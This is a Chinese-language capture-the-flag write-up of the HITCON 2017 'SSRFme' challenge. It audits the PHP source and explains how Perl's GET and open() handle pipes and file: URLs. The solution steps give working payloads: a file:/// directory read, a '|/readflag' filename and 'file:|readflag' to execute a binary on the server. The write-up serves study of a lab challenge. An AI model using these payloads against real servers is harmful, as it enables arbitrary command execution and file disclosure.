[HITCON 2017]SSRFme
前置知識
- open函數中存在命令執行

意思如下:
open(F,"id|"); print <F>; //vi test.pl
uid=0(root) gid=0(root) groups=0(root) //perl test.pl
管道符一定要加,在payload前還是后視情況而定
-
perl中的GET函數底層即會調用open處理
-
open函數支持file協議
-
pathinfo函數的參數差異

直接放圖,這里發現我們在不指定目錄的情況下dirname直接是返回的點,即默認是在根目錄下的
解題思路
打開直接給源碼
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
代碼審計
代碼功能如下:
- 輸出當前頁面用戶的ip
- 構建md5處理過的目錄,切換到當前目錄
- 執行GET拼接shell命令,內容可控
- 將可控內容寫入到可控文件中
解題步驟
由代碼審計可知,其實不算特別苛刻,參數均可控,但是這里存在疑問的是這句話
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
很難想象在事先不知的情況下如何知道這里的GET是Lib for WWW in Perl中的命令
對其相關介紹:博客
- 這里我們先讀取根目錄下的文件,結合前置知識
?url=file:///filename=123

-
看見flag和readflag,讀了發現flag不可見,readflag是執行文件,那么思路就很清晰了,運行readflag文件讀取flag
由於需滿足前面文件存在,才會執行open語句,所以先創建同名文件
?url=&filename=|/readflag -
執行命令
?url=file:|readflag&filename=123 -
訪問
sandbox/MD5(orange+ip)/123
總結思路
代碼審計->嘗試ssrf讀取到根目錄->查詢到perl語言中GET命令執行漏洞->構造命令執行payload(注意管道符)->獲得flag
知識點
- ssrf
- Perl語言中GET命令執行
- 代碼審計
